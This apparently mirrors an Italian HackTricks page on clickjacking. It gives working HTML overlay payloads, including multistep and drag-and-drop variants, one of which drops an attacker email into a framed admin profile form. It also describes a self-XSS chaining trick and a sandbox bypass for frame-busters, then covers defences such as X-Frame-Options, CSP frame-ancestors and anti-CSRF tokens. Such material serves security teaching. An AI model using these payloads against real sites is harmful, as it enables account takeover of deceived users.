mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
227 lines
12 KiB
Markdown
227 lines
12 KiB
Markdown
# Clickjacking
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
|
Ottieni l'accesso oggi:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Cos'è il Clickjacking
|
|
|
|
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** in una pagina web che è **invisibile** o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web dannose, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro, o l'acquisto online di prodotti.
|
|
|
|
### Trucco per precompilare i moduli
|
|
|
|
A volte è possibile **riempire il valore dei campi di un modulo utilizzando i parametri GET durante il caricamento di una pagina**. Un attaccante potrebbe abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking in modo che l'utente prema il pulsante Invia.
|
|
|
|
### Compilare il modulo con Drag\&Drop
|
|
|
|
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere informazioni specifiche (come l'email e/o una password specifica che conosci), puoi semplicemente chiedergli di **Trascinare e rilasciare** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Payload di base
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Payload Multistep
|
|
|
|
In un attacco di clickjacking multistep, l'attaccante può utilizzare più passaggi per ingannare l'utente e ottenere il clic su un elemento nascosto. Questo può essere realizzato utilizzando più layer di iframe trasparenti sovrapposti, o utilizzando tecniche avanzate come il movimento dell'elemento target durante il clic.
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Payload Drag\&Drop + Click
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Se hai identificato un attacco **XSS che richiede all'utente di fare clic** su un elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti sfruttarlo per ingannare l'utente affinché faccia clic sul pulsante/link.
|
|
Esempio:
|
|
_Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **prepopolare** il **modulo** con i parametri GET._
|
|
\_\_Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **prepopolando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** affinché **invii** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
|
|
|
|
## Strategie per Mitigare il Clickjacking
|
|
|
|
### Difese Lato Client
|
|
|
|
Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:
|
|
|
|
* Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
|
|
* Rendere tutti i frame visibili.
|
|
* Impedire i clic sui frame invisibili.
|
|
* Rilevare e avvisare gli utenti di potenziali tentativi di Clickjacking.
|
|
|
|
Tuttavia, questi script di frame-busting potrebbero essere elusi:
|
|
|
|
* **Impostazioni di Sicurezza dei Browser:** Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto JavaScript.
|
|
* **Attributo HTML5 iframe `sandbox`:** Un attaccante può neutralizzare gli script di frame buster impostando l'attributo `sandbox` con i valori `allow-forms` o `allow-scripts` senza `allow-top-navigation`. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
|
|
```html
|
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
### Difese lato server
|
|
|
|
#### X-Frame-Options
|
|
|
|
L'header di risposta HTTP **`X-Frame-Options`** informa i browser sulla legittimità del rendering di una pagina in un `<frame>` o `<iframe>`, aiutando a prevenire il Clickjacking:
|
|
|
|
- `X-Frame-Options: deny` - Nessun dominio può inserire il contenuto in un frame.
|
|
- `X-Frame-Options: sameorigin` - Solo il sito corrente può inserire il contenuto in un frame.
|
|
- `X-Frame-Options: allow-from https://trusted.com` - Solo l'URI specificato può inserire la pagina in un frame.
|
|
- Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva frame-ancestors di CSP.
|
|
|
|
#### Direttiva frame-ancestors di Content Security Policy (CSP)
|
|
|
|
La direttiva **`frame-ancestors` in CSP** è il metodo consigliato per la protezione dal Clickjacking:
|
|
|
|
- `frame-ancestors 'none'` - Simile a `X-Frame-Options: deny`.
|
|
- `frame-ancestors 'self'` - Simile a `X-Frame-Options: sameorigin`.
|
|
- `frame-ancestors trusted.com` - Simile a `X-Frame-Options: allow-from`.
|
|
|
|
Ad esempio, il seguente CSP consente solo l'inserimento da parte dello stesso dominio:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Ulteriori dettagli e esempi complessi possono essere trovati nella [documentazione di frame-ancestors di CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e nella [documentazione di frame-ancestors di CSP di Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
|
|
|
### Content Security Policy (CSP) con `child-src` e `frame-src`
|
|
|
|
**Content Security Policy (CSP)** è una misura di sicurezza che aiuta a prevenire il Clickjacking e altri attacchi di iniezione di codice specificando da quali fonti il browser dovrebbe consentire il caricamento di contenuti.
|
|
|
|
#### Direttiva `frame-src`
|
|
|
|
- Definisce le fonti valide per i frame.
|
|
- Più specifica rispetto alla direttiva `default-src`.
|
|
```
|
|
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
|
```
|
|
Questo policy consente frame dalla stessa origine (self) e https://trusted-website.com.
|
|
|
|
#### Direttiva `child-src`
|
|
|
|
* Introdotto in CSP livello 2 per impostare origini valide per i web worker e i frame.
|
|
* Funziona come fallback per frame-src e worker-src.
|
|
```
|
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
|
```
|
|
Questo policy consente frame e workers dalla stessa origine (self) e da https://trusted-website.com.
|
|
|
|
**Note sull'utilizzo:**
|
|
|
|
* Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src.
|
|
* Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
|
|
* Definizione di origine rigorosa: Includere solo fonti attendibili nelle direttive per prevenire l'exploit.
|
|
|
|
#### Script JavaScript di rottura del frame
|
|
|
|
Anche se non completamente sicuri, gli script di rottura del frame basati su JavaScript possono essere utilizzati per impedire che una pagina web venga incorniciata. Esempio:
|
|
```javascript
|
|
if (top !== self) {
|
|
top.location = self.location;
|
|
}
|
|
```
|
|
#### Utilizzo dei token Anti-CSRF
|
|
|
|
* **Validazione del token:** Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked.
|
|
|
|
## Riferimenti
|
|
|
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
|
Ottieni l'accesso oggi:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|